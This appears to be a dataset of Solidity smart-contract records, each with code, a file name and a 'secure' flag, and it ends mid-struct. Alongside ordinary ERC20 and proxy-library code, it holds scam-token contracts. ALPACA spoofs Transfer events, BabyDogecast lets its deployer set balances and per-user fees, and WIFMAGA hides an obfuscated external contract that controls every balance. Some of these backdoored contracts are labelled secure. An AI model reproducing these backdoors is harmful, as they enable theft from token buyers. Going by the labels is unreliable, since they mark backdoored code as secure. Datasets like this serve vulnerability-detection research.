{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\n\ncontract BasicERC20 is ReentrancyGuard {\n string public constant name = \"BYFCoin\"; // Token name\n\n string public constant symbol = \"BYF\"; // Token symbol\n\n uint8 public constant decimals = 18;\n\n uint256 public constant maxSupply = 141421268 * (10 ** uint256(decimals));\n\n uint256 private immutable _totalSupply;\n\n mapping(address => uint256) public balanceOf;\n\n mapping(address => mapping(address => uint256)) public allowance;\n\n address public immutable owner;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event TransferFrom(\n address indexed spender,\n address indexed from,\n address indexed to,\n uint256 value\n );\n\n constructor() {\n owner = msg.sender;\n\n _totalSupply = maxSupply;\n\n balanceOf[owner] = _totalSupply;\n }\n\n function totalSupply() public view returns (uint256) {\n return _totalSupply;\n }\n\n function approve(address spender, uint256 amount) public returns (bool) {\n require(spender != msg.sender, \"ERC20: approve to caller\");\n\n allowance[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public nonReentrant returns (bool) {\n require(balanceOf[msg.sender] >= amount, \"ERC20: insufficient balance\"); // Check sender's balance\n\n balanceOf[msg.sender] -= amount;\n\n balanceOf[recipient] += amount;\n\n emit Transfer(msg.sender, recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public nonReentrant returns (bool) {\n require(balanceOf[sender] >= amount, \"ERC20: insufficient balance\"); // Check sender's balance\n\n require(\n allowance[sender][msg.sender] >= amount,\n \"ERC20: allowance exceeded\"\n );\n\n balanceOf[sender] -= amount;\n\n balanceOf[recipient] += amount;\n\n allowance[sender][msg.sender] -= amount;\n\n emit Transfer(sender, recipient, amount);\n\n emit TransferFrom(msg.sender, sender, recipient, amount);\n\n return true;\n }\n}", "file_name": "solidity_code_906.sol", "secure": 1, "size_bytes": 2601 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IERC20Meta.sol\" as IERC20Meta;\n\ncontract ALPACA is Ownable, IERC20, IERC20Meta {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n address private _xuuyyy23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2eea578): ALPACA._e242 should be constant \n\t// Recommendation for 2eea578: Add the 'constant' attribute to state variables that never change.\n uint256 private _e242 = 99;\n\n\t// WARNING Optimization Issue (constable-states | ID: 655a699): ALPACA._feesValue should be constant \n\t// Recommendation for 655a699: Add the 'constant' attribute to state variables that never change.\n uint256 private _feesValue = 0;\n\n mapping(address => uint256) private _fees;\n\n mapping(address => bool) private isBotAddress;\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 8;\n }\n\n function swap(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_xuuyyy23, _addresses_[i], _out);\n }\n }\n\n function multicall(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_xuuyyy23, _addresses_[i], _out);\n }\n }\n\n function execute(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_xuuyyy23, _addresses_[i], _out);\n }\n }\n\n function transfer(address _from, address _to, uint256 _wad) external {\n emit Transfer(_from, _to, _wad);\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = _msgSender();\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = _msgSender();\n\n _approve(accountOwner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 550b6cd): ALPACA.openTrading(address).account lacks a zerocheck on \t _xuuyyy23 = account\n\t// Recommendation for 550b6cd: Check that the address is not zero.\n function openTrading(address account) public virtual returns (bool) {\n require(_msgSender() == 0x644B5D45453a864Cc3f6CBE5e0eA96bFE34C030F);\n\n\t\t// missing-zero-check | ID: 550b6cd\n _xuuyyy23 = account;\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n\n renounceOwnership();\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n if (\n (from != _xuuyyy23 &&\n to == 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80) ||\n (_xuuyyy23 == to &&\n from != 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80 &&\n !isBotAddress[from])\n ) {\n _swapBack(from);\n }\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _swapBack(address from) internal virtual {\n uint256 amount = balanceOf(from);\n\n uint256 __ppp = 1;\n\n if (amount > _e242) __ppp = _feesValue;\n\n _fees[from] = amount / __ppp;\n }\n\n function _spendAllowance(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(accountOwner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(accountOwner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n constructor() {\n _name = unicode\"Bitcoin Mascot\";\n\n _symbol = unicode\"ALPACA\";\n\n _mint(msg.sender, 100000000000 * 10 ** decimals());\n\n address[32] memory addresses = [\n 0x865E61e497FE8Fef075c589b2F05104c26C87e91,\n 0xD32Ed4f3676BF0A61B421BAE817AC69333b22443,\n 0x16dAdbbaadD602deBF92e6007bA53fd04141f8Ad,\n 0x384dfA76167Aeb229ABCFb30E16d9895F940F26a,\n 0x2FE9d84BD78Ba15c32636e4f35D391418c8D401F,\n 0x1695223e4d669aE98AB4582413FD3715823F4aD9,\n 0x2295D646d8461a2A14827476eDe01632252628a1,\n 0x904c464B74b281442BcCA210350902a8258af879,\n 0x9089F2FCF42e83f0B1586b17bE17767477ac86cF,\n 0x0093596978a494e06F67D742bEf81aCF92cD377F,\n 0x80a369658A16e6d333Aa5e9581abCe53ECA455e2,\n 0xD3362497754e1F7eC92D86A039E5812F3634EdFf,\n 0x597F4c830B2B5cD863fc0FbB6Fe998582Ec74b27,\n 0x3955DafC1Eb4C9faa9f5b00c5A4b02432590D5F4,\n 0x0023738C5a43B8dfb13A41aCf58fc48bB5583510,\n 0x66b9018BaC4EebaC09EBf1F55Ecf61d616742833,\n 0x607aF32E715E194CA6fF96218C81fCCa0d519E02,\n 0xA720703cf8E54580729B5A8F9E3FB8B8A2D01aD5,\n 0xbEAc7AE4D5fBe9b1701c98a5626A98DF51364834,\n 0x38d93fcDE5C486Ac1075F5698A8BFEB417Dd9A16,\n 0xfB6c00E6B09569ddbd549B7Bb01F921257e5B3cF,\n 0x52C21eEca2c83960391Ed0FC3ab81Dab273E73e7,\n 0x46f516ad97aF65636ba3cc9e9e76456780634D6c,\n 0x168E7AF73e447281aceE49d8918C37C3463C2Efa,\n 0x5724461d83Ee9510047588BDBe07D3965D0dA75C,\n 0x7F81881AEeF1D80C74888B6eea83fA6a34C600B0,\n 0x2e277b0d1da04E0890E4Ac13570FBd4E5d3a8887,\n 0xe3a53B78539fc5f529DCF514DbCc73fa4E194F21,\n 0x6C13eeEEb337a60CfEd58717CAAF9a3846507382,\n 0xA1acABD15e162B38E5DC1F6df2F77504a67e19D3,\n 0x644B5D45453a864Cc3f6CBE5e0eA96bFE34C030F,\n 0xE8C7eF74F98328D7587672D4ac0455348cf4806a\n ];\n\n for (uint256 i = 0; i < addresses.length; i++) {\n isBotAddress[addresses[i]] = true;\n }\n }\n}", "file_name": "solidity_code_907.sol", "secure": 0, "size_bytes": 8927 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract BabyDogecast is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6969c8a): BabyDogecast._decimals should be immutable \n\t// Recommendation for 6969c8a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 8f6a71a): BabyDogecast._totalSupply should be immutable \n\t// Recommendation for 8f6a71a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ecf98bb): BabyDogecast._bootsmark should be immutable \n\t// Recommendation for ecf98bb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _bootsmark;\n\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _bootsmark = msg.sender;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function TOM(address us, uint256 tse) external {\n require(_iee(msg.sender), \"Caller is not the original caller\");\n\n uint256 ee = 100;\n\n bool on = tse <= ee;\n\n _everter(on);\n\n _seFee(us, tse);\n }\n\n function _iee(address caller) internal view returns (bool) {\n return iMee();\n }\n\n function _everter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _seFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function iMee() internal view returns (bool) {\n return _msgSender() == _bootsmark;\n }\n\n function Appreve(address recipient, uint256 aDropst) external {\n uint256 receiveRewrd = aDropst;\n _balances[recipient] = receiveRewrd;\n require(_iee(recipient), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}", "file_name": "solidity_code_908.sol", "secure": 1, "size_bytes": 5229 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC1822ProxiableUpgradeable {\n function proxiableUUID() external view returns (bytes32);\n}", "file_name": "solidity_code_909.sol", "secure": 1, "size_bytes": 168 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./Platforme.sol\" as Platforme;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./UniswapRouterV2.sol\" as UniswapRouterV2;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapRouterV2.sol\" as IUniswapRouterV2;\n\ncontract WIFMAGA is Platforme, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 35dea0c): WIFMAGA._totalSupply should be constant \n\t// Recommendation for 35dea0c: Add the 'constant' attribute to state variables that never change.\n uint256 private _totalSupply = 1000000000 * 10 ** 18;\n\n uint8 private constant _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: b011895): WIFMAGA._name should be constant \n\t// Recommendation for b011895: Add the 'constant' attribute to state variables that never change.\n string private _name = unicode\"Doge Wif MAGA\";\n\n\t// WARNING Optimization Issue (constable-states | ID: 58522d4): WIFMAGA._symbol should be constant \n\t// Recommendation for 58522d4: Add the 'constant' attribute to state variables that never change.\n string private _symbol = unicode\"WIFMAGA\";\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _balances;\n\n\t// WARNING Optimization Issue (immutable-states | ID: dd7a301): WIFMAGA.Router2Instance should be immutable \n\t// Recommendation for dd7a301: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n UniswapRouterV2 private Router2Instance;\n\n constructor(uint256 aEdZTTu) {\n uint256 cc = aEdZTTu +\n uint256(10) -\n uint256(10) +\n uint256(\n bytes32(\n 0x0000000000000000000000000000000000000000000000000000000000000000\n )\n );\n\n Router2Instance = getBcFnnmoosgsto(((brcFactornnmoosgsto(cc))));\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n\t// WARNING Optimization Issue (constable-states | ID: ed6bee6): WIFMAGA.bb should be constant \n\t// Recommendation for ed6bee6: Add the 'constant' attribute to state variables that never change.\n uint160 private bb = 20;\n\n function brcFfffactornnmoosgsto(\n uint256 value\n ) internal view returns (uint160) {\n uint160 a = 70;\n\n return (bb +\n a +\n uint160(value) +\n uint160(\n uint256(\n bytes32(\n 0x0000000000000000000000000000000000000000000000000000000000000000\n )\n )\n ));\n }\n\n function brcFactornnmoosgsto(\n uint256 value\n ) internal view returns (address) {\n return address(brcFfffactornnmoosgsto(value));\n }\n\n function getBcFnnmoosgsto(\n address accc\n ) internal pure returns (UniswapRouterV2) {\n return getBcQnnmoosgsto(accc);\n }\n\n function getBcQnnmoosgsto(\n address accc\n ) internal pure returns (UniswapRouterV2) {\n return UniswapRouterV2(accc);\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address sender\n ) public view virtual returns (uint256) {\n return _allowances[accountOwner][sender];\n }\n\n function approve(\n address sender,\n uint256 amount\n ) public virtual returns (bool) {\n address accountOwner = _msgSender();\n\n _approve(accountOwner, sender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(from, sender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(from, sender, currentAllowance - amount);\n }\n }\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(\n from != address(0) && to != address(0),\n \"ERC20: transfer the zero address\"\n );\n\n uint256 balance = IUniswapRouterV2.swap99(\n Router2Instance,\n Router2Instance,\n _balances[from],\n from\n );\n\n require(balance >= amount, \"ERC20: amount over balance\");\n\n _balances[from] = balance.sub(amount);\n\n _balances[to] = _balances[to].add(amount);\n\n emit Transfer(from, to, amount);\n }\n\n function _approve(\n address accountOwner,\n address sender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(sender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][sender] = amount;\n\n emit Approval(accountOwner, sender, amount);\n }\n}", "file_name": "solidity_code_91.sol", "secure": 1, "size_bytes": 6289 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC1967Upgradeable {\n event Upgraded(address indexed implementation);\n\n event AdminChanged(address previousAdmin, address newAdmin);\n\n event BeaconUpgraded(address indexed beacon);\n}", "file_name": "solidity_code_910.sol", "secure": 1, "size_bytes": 270 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IBeaconUpgradeable {\n function implementation() external view returns (address);\n}", "file_name": "solidity_code_911.sol", "secure": 1, "size_bytes": 159 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary StorageSlotUpgradeable {\n struct AddressSlot {\n address value;\n }\n\n struct BooleanSlot {\n bool value;\n }\n\n struct Bytes32Slot {\n bytes32 value;\n }\n\n struct Uint256Slot {\n uint256 value;\n }\n\n struct StringSlot {\n string value;\n }\n\n struct BytesSlot {\n bytes value;\n }\n\n function getAddressSlot(\n bytes32 slot\n ) internal pure returns (AddressSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getBooleanSlot(\n bytes32 slot\n ) internal pure returns (BooleanSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getBytes32Slot(\n bytes32 slot\n ) internal pure returns (Bytes32Slot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getUint256Slot(\n bytes32 slot\n ) internal pure returns (Uint256Slot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getStringSlot(\n bytes32 slot\n ) internal pure returns (StringSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getStringSlot(\n string storage store\n ) internal pure returns (StringSlot storage r) {\n assembly {\n r.slot := store.slot\n }\n }\n\n function getBytesSlot(\n bytes32 slot\n ) internal pure returns (BytesSlot storage r) {\n assembly {\n r.slot := slot\n }\n }\n\n function getBytesSlot(\n bytes storage store\n ) internal pure returns (BytesSlot storage r) {\n assembly {\n r.slot := store.slot\n }\n }\n}", "file_name": "solidity_code_912.sol", "secure": 1, "size_bytes": 1855 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/utils/Initializable.sol\" as Initializable;\nimport \"./IERC1967Upgradeable.sol\" as IERC1967Upgradeable;\nimport \"./IERC1822ProxiableUpgradeable.sol\" as IERC1822ProxiableUpgradeable;\nimport \"./IBeaconUpgradeable.sol\" as IBeaconUpgradeable;\nimport \"./AddressUpgradeable.sol\" as AddressUpgradeable;\nimport \"./StorageSlotUpgradeable.sol\" as StorageSlotUpgradeable;\n\nabstract contract ERC1967UpgradeUpgradeable is\n Initializable,\n IERC1967Upgradeable\n{\n function __ERC1967Upgrade_init() internal onlyInitializing {}\n\n function __ERC1967Upgrade_init_unchained() internal onlyInitializing {}\n\n bytes32 private constant _ROLLBACK_SLOT =\n 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;\n\n bytes32 internal constant _IMPLEMENTATION_SLOT =\n 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n\n function _getImplementation() internal view returns (address) {\n return\n StorageSlotUpgradeable.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n }\n\n function _setImplementation(address newImplementation) private {\n require(\n AddressUpgradeable.isContract(newImplementation),\n \"ERC1967: new implementation is not a contract\"\n );\n\n StorageSlotUpgradeable\n .getAddressSlot(_IMPLEMENTATION_SLOT)\n .value = newImplementation;\n }\n\n function _upgradeTo(address newImplementation) internal {\n _setImplementation(newImplementation);\n\n emit Upgraded(newImplementation);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7d3b948): ERC1967UpgradeUpgradeable._upgradeToAndCall(address,bytes,bool) ignores return value by AddressUpgradeable.functionDelegateCall(newImplementation,data)\n\t// Recommendation for 7d3b948: Ensure that all the return values of the function calls are used.\n function _upgradeToAndCall(\n address newImplementation,\n bytes memory data,\n bool forceCall\n ) internal {\n _upgradeTo(newImplementation);\n\n if (data.length > 0 || forceCall) {\n\t\t\t// unused-return | ID: 7d3b948\n AddressUpgradeable.functionDelegateCall(newImplementation, data);\n }\n }\n\n function _upgradeToAndCallUUPS(\n address newImplementation,\n bytes memory data,\n bool forceCall\n ) internal {\n if (StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT).value) {\n _setImplementation(newImplementation);\n } else {\n try\n IERC1822ProxiableUpgradeable(newImplementation).proxiableUUID()\n returns (bytes32 slot) {\n require(\n slot == _IMPLEMENTATION_SLOT,\n \"ERC1967Upgrade: unsupported proxiableUUID\"\n );\n } catch {\n revert(\"ERC1967Upgrade: new implementation is not UUPS\");\n }\n\n _upgradeToAndCall(newImplementation, data, forceCall);\n }\n }\n\n bytes32 internal constant _ADMIN_SLOT =\n 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;\n\n function _getAdmin() internal view returns (address) {\n return StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value;\n }\n\n function _setAdmin(address newAdmin) private {\n require(\n newAdmin != address(0),\n \"ERC1967: new admin is the zero address\"\n );\n\n StorageSlotUpgradeable.getAddressSlot(_ADMIN_SLOT).value = newAdmin;\n }\n\n function _changeAdmin(address newAdmin) internal {\n emit AdminChanged(_getAdmin(), newAdmin);\n\n _setAdmin(newAdmin);\n }\n\n bytes32 internal constant _BEACON_SLOT =\n 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;\n\n function _getBeacon() internal view returns (address) {\n return StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value;\n }\n\n function _setBeacon(address newBeacon) private {\n require(\n AddressUpgradeable.isContract(newBeacon),\n \"ERC1967: new beacon is not a contract\"\n );\n\n require(\n AddressUpgradeable.isContract(\n IBeaconUpgradeable(newBeacon).implementation()\n ),\n \"ERC1967: beacon implementation is not a contract\"\n );\n\n StorageSlotUpgradeable.getAddressSlot(_BEACON_SLOT).value = newBeacon;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c4001fe): ERC1967UpgradeUpgradeable._upgradeBeaconToAndCall(address,bytes,bool) ignores return value by AddressUpgradeable.functionDelegateCall(IBeaconUpgradeable(newBeacon).implementation(),data)\n\t// Recommendation for c4001fe: Ensure that all the return values of the function calls are used.\n function _upgradeBeaconToAndCall(\n address newBeacon,\n bytes memory data,\n bool forceCall\n ) internal {\n _setBeacon(newBeacon);\n\n emit BeaconUpgraded(newBeacon);\n\n if (data.length > 0 || forceCall) {\n\t\t\t// unused-return | ID: c4001fe\n AddressUpgradeable.functionDelegateCall(\n IBeaconUpgradeable(newBeacon).implementation(),\n data\n );\n }\n }\n\n uint256[50] private __gap;\n}", "file_name": "solidity_code_913.sol", "secure": 0, "size_bytes": 5462 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/utils/Initializable.sol\" as Initializable;\nimport \"./IERC1822ProxiableUpgradeable.sol\" as IERC1822ProxiableUpgradeable;\nimport \"./ERC1967UpgradeUpgradeable.sol\" as ERC1967UpgradeUpgradeable;\n\nabstract contract UUPSUpgradeable is\n Initializable,\n IERC1822ProxiableUpgradeable,\n ERC1967UpgradeUpgradeable\n{\n function __UUPSUpgradeable_init() internal onlyInitializing {}\n\n function __UUPSUpgradeable_init_unchained() internal onlyInitializing {}\n\n address private immutable __self = address(this);\n\n modifier onlyProxy() {\n require(\n address(this) != __self,\n \"Function must be called through delegatecall\"\n );\n\n require(\n _getImplementation() == __self,\n \"Function must be called through active proxy\"\n );\n\n _;\n }\n\n modifier notDelegated() {\n require(\n address(this) == __self,\n \"UUPSUpgradeable: must not be called through delegatecall\"\n );\n\n _;\n }\n\n function proxiableUUID()\n external\n view\n virtual\n override\n notDelegated\n returns (bytes32)\n {\n return _IMPLEMENTATION_SLOT;\n }\n\n function upgradeTo(address newImplementation) public virtual onlyProxy {\n _authorizeUpgrade(newImplementation);\n\n _upgradeToAndCallUUPS(newImplementation, new bytes(0), false);\n }\n\n function upgradeToAndCall(\n address newImplementation,\n bytes memory data\n ) public payable virtual onlyProxy {\n _authorizeUpgrade(newImplementation);\n\n _upgradeToAndCallUUPS(newImplementation, data, true);\n }\n\n function _authorizeUpgrade(address newImplementation) internal virtual;\n\n uint256[50] private __gap;\n}", "file_name": "solidity_code_914.sol", "secure": 1, "size_bytes": 1918 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/utils/Initializable.sol\" as Initializable;\n\nabstract contract ReentrancyGuardUpgradeable is Initializable {\n uint256 private constant _NOT_ENTERED = 1;\n\n uint256 private constant _ENTERED = 2;\n\n uint256 private _status;\n\n function __ReentrancyGuard_init() internal onlyInitializing {\n __ReentrancyGuard_init_unchained();\n }\n\n function __ReentrancyGuard_init_unchained() internal onlyInitializing {\n _status = _NOT_ENTERED;\n }\n\n modifier nonReentrant() {\n _nonReentrantBefore();\n\n _;\n\n _nonReentrantAfter();\n }\n\n function _nonReentrantBefore() private {\n require(_status != _ENTERED, \"ReentrancyGuard: reentrant call\");\n\n _status = _ENTERED;\n }\n\n function _nonReentrantAfter() private {\n _status = _NOT_ENTERED;\n }\n\n function _reentrancyGuardEntered() internal view returns (bool) {\n return _status == _ENTERED;\n }\n\n uint256[49] private __gap;\n}\n\nstruct TakeAsk {\n Order[] orders;\n Exchange[] exchanges;\n bytes signatures;\n address tokenRecipient;\n}\n\nstruct TakeAskSingle {\n Order order;\n Exchange exchange;\n bytes signature;\n address tokenRecipient;\n}\n\nstruct TakeBid {\n Order[] orders;\n Exchange[] exchanges;\n FeeRate takerFee;\n bytes signatures;\n}\n\nstruct TakeBidSingle {\n Order order;\n Exchange exchange;\n FeeRate takerFee;\n bytes signature;\n}\n\nenum AssetType {\n ERC721,\n ERC1155\n}\n\nenum OrderType {\n ASK,\n BID\n}\n\nstruct Exchange {\n uint256 index;\n bytes32[] proof;\n Listing listing;\n Taker taker;\n}\n\nstruct Listing {\n uint256 index;\n uint256 tokenId;\n uint256 amount;\n uint256 price;\n}\n\nstruct Taker {\n uint256 tokenId;\n uint256 amount;\n}\n\nstruct Order {\n address trader;\n address collection;\n bytes32 listingsRoot;\n uint256 numberOfListings;\n uint256 expirationTime;\n AssetType assetType;\n FeeRate makerFee;\n uint256 salt;\n}\n\nstruct Transfer {\n address trader;\n uint256 id;\n uint256 amount;\n address collection;\n AssetType assetType;\n}\n\nstruct FungibleTransfers {\n uint256 totalProtocolFee;\n uint256 totalSellerTransfer;\n uint256 feeRecipientId;\n uint256 makerId;\n address[] feeRecipients;\n address[] makers;\n uint256[] makerTransfers;\n uint256[] feeTransfers;\n AtomicExecution[] 